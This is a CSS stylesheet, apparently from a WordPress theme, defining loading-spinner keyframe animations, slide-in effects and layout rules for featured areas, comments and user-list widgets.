@-webkit-keyframes loader-2 {
	0%,
	100% {
		box-shadow: 0 -3em 0 .2em var(--pc-loader-2), 2em -2em 0 0 var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 -1em var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 0 var(--pc-loader-2)
	}
	12.5% {
		box-shadow: 0 -3em 0 0 var(--pc-loader-2), 2em -2em 0 .2em var(--pc-loader-2), 3em 0 0 0 var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 -1em var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	25% {
		box-shadow: 0 -3em 0 -.5em var(--pc-loader-2), 2em -2em 0 0 var(--pc-loader-2), 3em 0 0 .2em var(--pc-loader-2), 2em 2em 0 0 var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 -1em var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	37.5% {
		box-shadow: 0 -3em 0 -1em var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 0 var(--pc-loader-2), 2em 2em 0 .2em var(--pc-loader-2), 0 3em 0 0 var(--pc-loader-2), -2em 2em 0 -1em var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	50% {
		box-shadow: 0 -3em 0 -1em var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 0 var(--pc-loader-2), 0 3em 0 .2em var(--pc-loader-2), -2em 2em 0 0 var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	62.5% {
		box-shadow: 0 -3em 0 -1em var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 0 var(--pc-loader-2), -2em 2em 0 .2em var(--pc-loader-2), -3em 0 0 0 var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	75% {
		box-shadow: 0 -3em 0 -1em var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 0 var(--pc-loader-2), -3em 0 0 .2em var(--pc-loader-2), -2em -2em 0 0 var(--pc-loader-2)
	}
	87.5% {
		box-shadow: 0 -3em 0 0 var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 0 var(--pc-loader-2), -3em 0 0 0 var(--pc-loader-2), -2em -2em 0 .2em var(--pc-loader-2)
	}
}
@keyframes loader-2 {
	0%,
	100% {
		box-shadow: 0 -3em 0 .2em var(--pc-loader-2), 2em -2em 0 0 var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 -1em var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 0 var(--pc-loader-2)
	}
	12.5% {
		box-shadow: 0 -3em 0 0 var(--pc-loader-2), 2em -2em 0 .2em var(--pc-loader-2), 3em 0 0 0 var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 -1em var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	25% {
		box-shadow: 0 -3em 0 -.5em var(--pc-loader-2), 2em -2em 0 0 var(--pc-loader-2), 3em 0 0 .2em var(--pc-loader-2), 2em 2em 0 0 var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 -1em var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	37.5% {
		box-shadow: 0 -3em 0 -1em var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 0 var(--pc-loader-2), 2em 2em 0 .2em var(--pc-loader-2), 0 3em 0 0 var(--pc-loader-2), -2em 2em 0 -1em var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	50% {
		box-shadow: 0 -3em 0 -1em var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 0 var(--pc-loader-2), 0 3em 0 .2em var(--pc-loader-2), -2em 2em 0 0 var(--pc-loader-2), -3em 0 0 -1em var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	62.5% {
		box-shadow: 0 -3em 0 -1em var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 0 var(--pc-loader-2), -2em 2em 0 .2em var(--pc-loader-2), -3em 0 0 0 var(--pc-loader-2), -2em -2em 0 -1em var(--pc-loader-2)
	}
	75% {
		box-shadow: 0 -3em 0 -1em var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 0 var(--pc-loader-2), -3em 0 0 .2em var(--pc-loader-2), -2em -2em 0 0 var(--pc-loader-2)
	}
	87.5% {
		box-shadow: 0 -3em 0 0 var(--pc-loader-2), 2em -2em 0 -1em var(--pc-loader-2), 3em 0 0 -1em var(--pc-loader-2), 2em 2em 0 -1em var(--pc-loader-2), 0 3em 0 -1em var(--pc-loader-2), -2em 2em 0 0 var(--pc-loader-2), -3em 0 0 0 var(--pc-loader-2), -2em -2em 0 .2em var(--pc-loader-2)
	}
}
.penci-loading-animation-3 {
	-webkit-transform: scale(.55);
	-ms-transform: scale(.55);
	transform: scale(.55)
}
.penci-loading-animation-3 .penci-loading-animation {
	margin: 26px auto;
	width: 16px;
	height: 16px;
	border-radius: 50%;
	position: relative;
	-webkit-animation: loader-3 .7s infinite ease;
	animation: loader-3 .7s infinite ease
}
@-webkit-keyframes loader-3 {
	0%,
	100% {
		box-shadow: 0 -2.6em 0 0 #3f51b5, 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .5), -1.8em -1.8em 0 0 rgba(63, 81, 181, .7)
	}
	12.5% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .7), 1.8em -1.8em 0 0 #3f51b5, 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .5)
	}
	25% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .5), 1.8em -1.8em 0 0 rgba(63, 81, 181, .7), 2.5em 0 0 0 #3f51b5, 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	37.5% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .5), 2.5em 0 0 0 rgba(63, 81, 181, .7), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	50% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .5), 1.75em 1.75em 0 0 rgba(63, 81, 181, .7), 0 2.5em 0 0 #3f51b5, -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	62.5% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .5), 0 2.5em 0 0 rgba(63, 81, 181, .7), -1.8em 1.8em 0 0 #3f51b5, -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	75% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .5), -1.8em 1.8em 0 0 rgba(63, 81, 181, .7), -2.6em 0 0 0 #3f51b5, -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	87.5% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .5), -2.6em 0 0 0 rgba(63, 81, 181, .7), -1.8em -1.8em 0 0 #3f51b5
	}
}
@keyframes loader-3 {
	0%,
	100% {
		box-shadow: 0 -2.6em 0 0 #3f51b5, 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .5), -1.8em -1.8em 0 0 rgba(63, 81, 181, .7)
	}
	12.5% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .7), 1.8em -1.8em 0 0 #3f51b5, 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .5)
	}
	25% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .5), 1.8em -1.8em 0 0 rgba(63, 81, 181, .7), 2.5em 0 0 0 #3f51b5, 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	37.5% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .5), 2.5em 0 0 0 rgba(63, 81, 181, .7), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	50% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .5), 1.75em 1.75em 0 0 rgba(63, 81, 181, .7), 0 2.5em 0 0 #3f51b5, -1.8em 1.8em 0 0 rgba(63, 81, 181, .2), -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	62.5% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .5), 0 2.5em 0 0 rgba(63, 81, 181, .7), -1.8em 1.8em 0 0 #3f51b5, -2.6em 0 0 0 rgba(63, 81, 181, .2), -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	75% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .5), -1.8em 1.8em 0 0 rgba(63, 81, 181, .7), -2.6em 0 0 0 #3f51b5, -1.8em -1.8em 0 0 rgba(63, 81, 181, .2)
	}
	87.5% {
		box-shadow: 0 -2.6em 0 0 rgba(63, 81, 181, .2), 1.8em -1.8em 0 0 rgba(63, 81, 181, .2), 2.5em 0 0 0 rgba(63, 81, 181, .2), 1.75em 1.75em 0 0 rgba(63, 81, 181, .2), 0 2.5em 0 0 rgba(63, 81, 181, .2), -1.8em 1.8em 0 0 rgba(63, 81, 181, .5), -2.6em 0 0 0 rgba(63, 81, 181, .7), -1.8em -1.8em 0 0 #3f51b5
	}
}
.penci-loading-animation-4 {
	width: auto;
	height: auto;
	margin-top: 0;
	margin-left: 0
}
.penci-loading-animation-4 .penci-loading-animation {
	font-size: 30px;
	overflow: hidden;
	width: 1em;
	height: 1em;
	border-radius: 50%;
	margin: 0 auto;
	margin-top: -.5em;
	margin-left: -.5em;
	position: relative;
	-webkit-animation: loader-4 1s infinite ease;
	animation: loader-4 1s infinite ease
}
@-webkit-keyframes loader-4 {
	0% {
		-webkit-transform: rotate(0);
		transform: rotate(0);
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), 0 -.83em 0 -.42em var(--pcaccent-cl), 0 -.83em 0 -.44em var(--pcaccent-cl), 0 -.83em 0 -.46em var(--pcaccent-cl), 0 -.83em 0 -.477em var(--pcaccent-cl)
	}
	5%,
	95% {
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), 0 -.83em 0 -.42em var(--pcaccent-cl), 0 -.83em 0 -.44em var(--pcaccent-cl), 0 -.83em 0 -.46em var(--pcaccent-cl), 0 -.83em 0 -.477em var(--pcaccent-cl)
	}
	10%,
	59% {
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), -.087em -.825em 0 -.42em var(--pcaccent-cl), -.173em -.812em 0 -.44em var(--pcaccent-cl), -.256em -.789em 0 -.46em var(--pcaccent-cl), -.297em -.775em 0 -.477em var(--pcaccent-cl)
	}
	20% {
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), -.338em -.758em 0 -.42em var(--pcaccent-cl), -.555em -.617em 0 -.44em var(--pcaccent-cl), -.671em -.488em 0 -.46em var(--pcaccent-cl), -.749em -.34em 0 -.477em var(--pcaccent-cl)
	}
	48% {
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), -.377em -.74em 0 -.42em var(--pcaccent-cl), -.645em -.522em 0 -.44em var(--pcaccent-cl), -.775em -.297em 0 -.46em var(--pcaccent-cl), -.82em -.09em 0 -.477em var(--pcaccent-cl)
	}
	100% {
		-webkit-transform: rotate(360deg);
		transform: rotate(360deg);
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), 0 -.83em 0 -.42em var(--pcaccent-cl), 0 -.83em 0 -.44em var(--pcaccent-cl), 0 -.83em 0 -.46em var(--pcaccent-cl), 0 -.83em 0 -.477em var(--pcaccent-cl)
	}
}
@keyframes loader-4 {
	0% {
		-webkit-transform: rotate(0);
		transform: rotate(0);
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), 0 -.83em 0 -.42em var(--pcaccent-cl), 0 -.83em 0 -.44em var(--pcaccent-cl), 0 -.83em 0 -.46em var(--pcaccent-cl), 0 -.83em 0 -.477em var(--pcaccent-cl)
	}
	5%,
	95% {
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), 0 -.83em 0 -.42em var(--pcaccent-cl), 0 -.83em 0 -.44em var(--pcaccent-cl), 0 -.83em 0 -.46em var(--pcaccent-cl), 0 -.83em 0 -.477em var(--pcaccent-cl)
	}
	10%,
	59% {
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), -.087em -.825em 0 -.42em var(--pcaccent-cl), -.173em -.812em 0 -.44em var(--pcaccent-cl), -.256em -.789em 0 -.46em var(--pcaccent-cl), -.297em -.775em 0 -.477em var(--pcaccent-cl)
	}
	20% {
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), -.338em -.758em 0 -.42em var(--pcaccent-cl), -.555em -.617em 0 -.44em var(--pcaccent-cl), -.671em -.488em 0 -.46em var(--pcaccent-cl), -.749em -.34em 0 -.477em var(--pcaccent-cl)
	}
	48% {
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), -.377em -.74em 0 -.42em var(--pcaccent-cl), -.645em -.522em 0 -.44em var(--pcaccent-cl), -.775em -.297em 0 -.46em var(--pcaccent-cl), -.82em -.09em 0 -.477em var(--pcaccent-cl)
	}
	100% {
		-webkit-transform: rotate(360deg);
		transform: rotate(360deg);
		box-shadow: 0 -.83em 0 -.4em var(--pcaccent-cl), 0 -.83em 0 -.42em var(--pcaccent-cl), 0 -.83em 0 -.44em var(--pcaccent-cl), 0 -.83em 0 -.46em var(--pcaccent-cl), 0 -.83em 0 -.477em var(--pcaccent-cl)
	}
}
.penci-loading-animation-5 {
	width: 58px;
	height: 20px;
	position: absolute;
	margin-top: -10px;
	margin-left: -29px
}
.penci-loading-animation-7 .penci-loading-animation {
	width: 33%;
	height: 33%;
	float: left;
	-webkit-animation: loader-7 1.1s infinite ease-in-out;
	animation: loader-7 1.1s infinite ease-in-out
}
.penci-loading-animation-7 .penci-loading-animation-inner-1 {
	-webkit-animation-delay: .2s;
	animation-delay: .2s
}
.penci-loading-animation-7 .penci-loading-animation-inner-2 {
	-webkit-animation-delay: .3s;
	animation-delay: .3s
}
.penci-loading-animation-7 .penci-loading-animation-inner-3 {
	-webkit-animation-delay: .4s;
	animation-delay: .4s
}
.penci-loading-animation-7 .penci-loading-animation-inner-4 {
	-webkit-animation-delay: .1s;
	animation-delay: .1s
}
.penci-loading-animation-7 .penci-loading-animation-inner-5 {
	-webkit-animation-delay: .2s;
	animation-delay: .2s
}
.penci-loading-animation-7 .penci-loading-animation-inner-6 {
	-webkit-animation-delay: .3s;
	animation-delay: .3s
}
.penci-loading-animation-7 .penci-loading-animation-inner-7 {
	-webkit-animation-delay: 0s;
	animation-delay: 0s
}
.penci-loading-animation-7 .penci-loading-animation-inner-8 {
	-webkit-animation-delay: .1s;
	animation-delay: .1s
}
.penci-loading-animation-7 .penci-loading-animation-inner-9 {
	-webkit-animation-delay: .2s;
	animation-delay: .2s
}
@-webkit-keyframes loader-7 {
	0%,
	100%,
	70% {
		-webkit-transform: scale3D(1, 1, 1);
		transform: scale3D(1, 1, 1)
	}
	35% {
		-webkit-transform: scale3D(0, 0, 1);
		transform: scale3D(0, 0, 1)
	}
}
@keyframes loader-7 {
	0%,
	100%,
	70% {
		-webkit-transform: scale3D(1, 1, 1);
		transform: scale3D(1, 1, 1)
	}
	35% {
		-webkit-transform: scale3D(0, 0, 1);
		transform: scale3D(0, 0, 1)
	}
}
.penci-loading-animation-8 .penci-loading-animation {
	width: 10px;
	height: 10px;
	position: absolute;
	top: 0;
	left: 0;
	-webkit-animation: loader-8 1.6s ease-in-out -1.8s infinite both;
	animation: loader-8 1.6s ease-in-out -1.8s infinite both
}
.penci-loading-animation-8 .penci-loading-animation-inner-2 {
	-webkit-animation-delay: -.9s;
	animation-delay: -.9s
}
@-webkit-keyframes loader-8 {
	0% {
		-webkit-transform: rotate(0);
		transform: rotate(0)
	}
	25% {
		-webkit-transform: translateX(30px) rotate(-90deg) scale(.5);
		transform: translateX(30px) rotate(-90deg) scale(.5)
	}
	50% {
		-webkit-transform: translateX(30px) translateY(30px) rotate(-179deg);
		transform: translateX(30px) translateY(30px) rotate(-179deg)
	}
	50.1% {
		-webkit-transform: translateX(30px) translateY(30px) rotate(-180deg);
		transform: translateX(30px) translateY(30px) rotate(-180deg)
	}
	75% {
		-webkit-transform: translateX(0) translateY(30px) rotate(-270deg) scale(.5);
		transform: translateX(0) translateY(30px) rotate(-270deg) scale(.5)
	}
	100% {
		-webkit-transform: rotate(-360deg);
		transform: rotate(-360deg)
	}
}
@keyframes loader-8 {
	0% {
		-webkit-transform: rotate(0);
		transform: rotate(0)
	}
	25% {
		-webkit-transform: translateX(30px) rotate(-90deg) scale(.5);
		transform: translateX(30px) rotate(-90deg) scale(.5)
	}
	50% {
		-webkit-transform: translateX(30px) translateY(30px) rotate(-179deg);
		transform: translateX(30px) translateY(30px) rotate(-179deg)
	}
	50.1% {
		-webkit-transform: translateX(30px) translateY(30px) rotate(-180deg);
		transform: translateX(30px) translateY(30px) rotate(-180deg)
	}
	75% {
		-webkit-transform: translateX(0) translateY(30px) rotate(-270deg) scale(.5);
		transform: translateX(0) translateY(30px) rotate(-270deg) scale(.5)
	}
	100% {
		-webkit-transform: rotate(-360deg);
		transform: rotate(-360deg)
	}
}
.penci-loading-circle {
	margin: 0 auto;
	width: 40px;
	height: 40px;
	position: relative
}
.penci-loading-circle .penci-loading-circle-inner {
	width: 100%;
	height: 100%;
	position: absolute;
	left: 0;
	top: 0
}
.penci-loading-circle .penci-loading-circle-inner:before {
	content: "";
	display: block;
	margin: 0 auto;
	width: 15%;
	height: 15%;
	border-radius: 100%;
	-webkit-animation: penciLoadingCircleBounceDelay .7s infinite ease-in-out both;
	animation: penciLoadingCircleBounceDelay .7s infinite ease-in-out both
}
.penci-loading-circle .penci-loading-circle2 {
	-webkit-transform: rotate(30deg);
	-ms-transform: rotate(30deg);
	transform: rotate(30deg)
}
.penci-loading-circle .penci-loading-circle3 {
	-webkit-transform: rotate(60deg);
	-ms-transform: rotate(60deg);
	transform: rotate(60deg)
}
.penci-loading-circle .penci-loading-circle4 {
	-webkit-transform: rotate(90deg);
	-ms-transform: rotate(90deg);
	transform: rotate(90deg)
}
.penci-loading-circle .penci-loading-circle5 {
	-webkit-transform: rotate(120deg);
	-ms-transform: rotate(120deg);
	transform: rotate(120deg)
}
.penci-loading-circle .penci-loading-circle6 {
	-webkit-transform: rotate(150deg);
	-ms-transform: rotate(150deg);
	transform: rotate(150deg)
}
.penci-loading-circle .penci-loading-circle7 {
	-webkit-transform: rotate(180deg);
	-ms-transform: rotate(180deg);
	transform: rotate(180deg)
}
.penci-loading-circle .penci-loading-circle8 {
	-webkit-transform: rotate(210deg);
	-ms-transform: rotate(210deg);
	transform: rotate(210deg)
}
.penci-loading-circle .penci-loading-circle9 {
	-webkit-transform: rotate(240deg);
	-ms-transform: rotate(240deg);
	transform: rotate(240deg)
}
.penci-loading-circle .penci-loading-circle10 {
	-webkit-transform: rotate(270deg);
	-ms-transform: rotate(270deg);
	transform: rotate(270deg)
}
.penci-loading-circle .penci-loading-circle11 {
	-webkit-transform: rotate(300deg);
	-ms-transform: rotate(300deg);
	transform: rotate(300deg)
}
.penci-loading-circle .penci-loading-circle12 {
	-webkit-transform: rotate(330deg);
	-ms-transform: rotate(330deg);
	transform: rotate(330deg)
}
.penci-loading-circle .penci-loading-circle2:before {
	-webkit-animation-delay: -1.1s;
	animation-delay: -1.1s
}
.penci-loading-circle .penci-loading-circle3:before {
	-webkit-animation-delay: -1s;
	animation-delay: -1s
}
.penci-loading-circle .penci-loading-circle4:before {
	-webkit-animation-delay: -.9s;
	animation-delay: -.9s
}
.penci-loading-circle .penci-loading-circle5:before {
	-webkit-animation-delay: -.8s;
	animation-delay: -.8s
}
.penci-loading-circle .penci-loading-circle6:before {
	-webkit-animation-delay: -.7s;
	animation-delay: -.7s
}
.penci-loading-circle .penci-loading-circle7:before {
	-webkit-animation-delay: -.6s;
	animation-delay: -.6s
}
.penci-loading-circle .penci-loading-circle8:before {
	-webkit-animation-delay: -.5s;
	animation-delay: -.5s
}
.penci-loading-circle .penci-loading-circle9:before {
	-webkit-animation-delay: -.4s;
	animation-delay: -.4s
}
.penci-loading-circle .penci-loading-circle10:before {
	-webkit-animation-delay: -.3s;
	animation-delay: -.3s
}
.penci-loading-circle .penci-loading-circle11:before {
	-webkit-animation-delay: -.2s;
	animation-delay: -.2s
}
.penci-loading-circle .penci-loading-circle12:before {
	-webkit-animation-delay: -.1s;
	animation-delay: -.1s
}
@-webkit-keyframes penciLoadingCircleBounceDelay {
	0%,
	100%,
	80% {
		-webkit-transform: scale(0);
		transform: scale(0)
	}
	40% {
		-webkit-transform: scale(1);
		transform: scale(1)
	}
}
@keyframes penciLoadingCircleBounceDelay {
	0%,
	100%,
	80% {
		-webkit-transform: scale(0);
		transform: scale(0)
	}
	40% {
		-webkit-transform: scale(1);
		transform: scale(1)
	}
}
@-webkit-keyframes PenciSlideInUp {
	from {
		-webkit-transform: translate3d(0, 15px, 0);
		transform: translate3d(0, 15px, 0);
		opacity: 0
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0);
		opacity: 1
	}
}
@keyframes PenciSlideInUp {
	from {
		-webkit-transform: translate3d(0, 15px, 0);
		transform: translate3d(0, 15px, 0);
		opacity: 0
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0);
		opacity: 1
	}
}
.penci-ajrs-animate {
	opacity: 0;
	-webkit-animation: PenciSlideInUp .3s forwards 1;
	animation: PenciSlideInUp .3s forwards 1;
	-webkit-animation-delay: .1s;
	animation-delay: .1s
}
.penci-smalllist-wrapper .penci-pagination {
	margin-top: 20px;
	margin-bottom: 0
}
.pcajx-nopost {
	padding: 5px;
	border: 1px solid var(--pcborder-cl);
	text-align: center;
	border-radius: 5px;
	font-weight: 700;
	text-transform: uppercase;
	font-size: 12px;
	background: #f1f1f1
}
.featured-area.text-align-right .penci-featured-content .feat-text,
.featured-area.text-align-right .penci-featured-content-right .feat-text-right,
.featured-area.text-align-right .penci-slide-overlay .penci-mag-featured-content {
	text-align: right
}
.featured-area.text-align-left .penci-featured-content .feat-text,
.featured-area.text-align-left .penci-featured-content-right .feat-text-right,
.featured-area.text-align-left .penci-slide-overlay .penci-mag-featured-content {
	text-align: left
}
.featured-area.text-align-left .penci-featured-content .feat-text,
.featured-area.text-align-right .penci-featured-content .feat-text {
	padding-left: 20px;
	padding-right: 20px
}
.featured-area.text-align-left .penci-slider4-overlay .penci-featured-content .feat-text,
.featured-area.text-align-right .penci-slider4-overlay .penci-featured-content .feat-text,
.featured-style-29.text-align-left .penci-featured-content .feat-text,
.featured-style-29.text-align-right .penci-featured-content .feat-text,
.featured-style-38.text-align-left .penci-featured-content .feat-text,
.featured-style-38.text-align-right .penci-featured-content .feat-text {
	padding-left: 0;
	padding-right: 0
}
.featured-area.text-align-center .penci-featured-content-right .feat-text-right,
.featured-area.text-align-center .penci-slide-overlay .penci-mag-featured-content {
	text-align: center
}
.featured-area.text-align-left.featured-style-29 .penci-featured-content .feat-text h3:before {
	left: 0;
	margin-left: 0
}
.featured-area.vertical-align-top .penci-featured-content,
.featured-area.vertical-align-top .penci-featured-content-right .feat-text-right,
.featured-area.vertical-align-top .penci-slide-overlay .penci-mag-featured-content {
	top: 0;
	transform: none;
	margin-top: 20px
}
.featured-area.vertical-align-middle .penci-slide-overlay .penci-mag-featured-content {
	top: 50%;
	transform: translateY(-50%);
	bottom: auto
}
.featured-area.vertical-align-bottom .penci-featured-content,
.featured-area.vertical-align-bottom .penci-featured-content-right .feat-text-right,
.featured-area.vertical-align-bottom .penci-slide-overlay .penci-mag-featured-content {
	top: auto;
	bottom: 0;
	transform: none;
	margin-bottom: 20px
}
.featured-area.text-align-right.featured-style-29 .penci-featured-content .feat-text h3:before {
	left: auto;
	right: 0;
	margin-left: 0
}
.featured-area.horizontal-align-left .penci-featured-content,
.featured-area.horizontal-align-right .penci-featured-content {
	display: flex;
	flex-wrap: wrap
}
.featured-area.horizontal-align-left .penci-featured-content {
	justify-content: start
}
.featured-area.horizontal-align-right .penci-featured-content {
	justify-content: end
}
.featured-area.horizontal-align-left .penci-featured-content .feat-text,
.featured-area.horizontal-align-right .penci-featured-content .feat-text {
	margin: 0
}
.pc-cscomments.move-top h3.comment-reply-title {
	border-top: 0 !important;
	padding-top: 0 !important
}
.pc-cscomments.move-top .post-title-box {
	border-top: 1px solid var(--pcborder-cl);
	padding-top: 30px;
	margin-top: 30px
}
.pc-widget-user-lists ul li {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	align-items: center
}
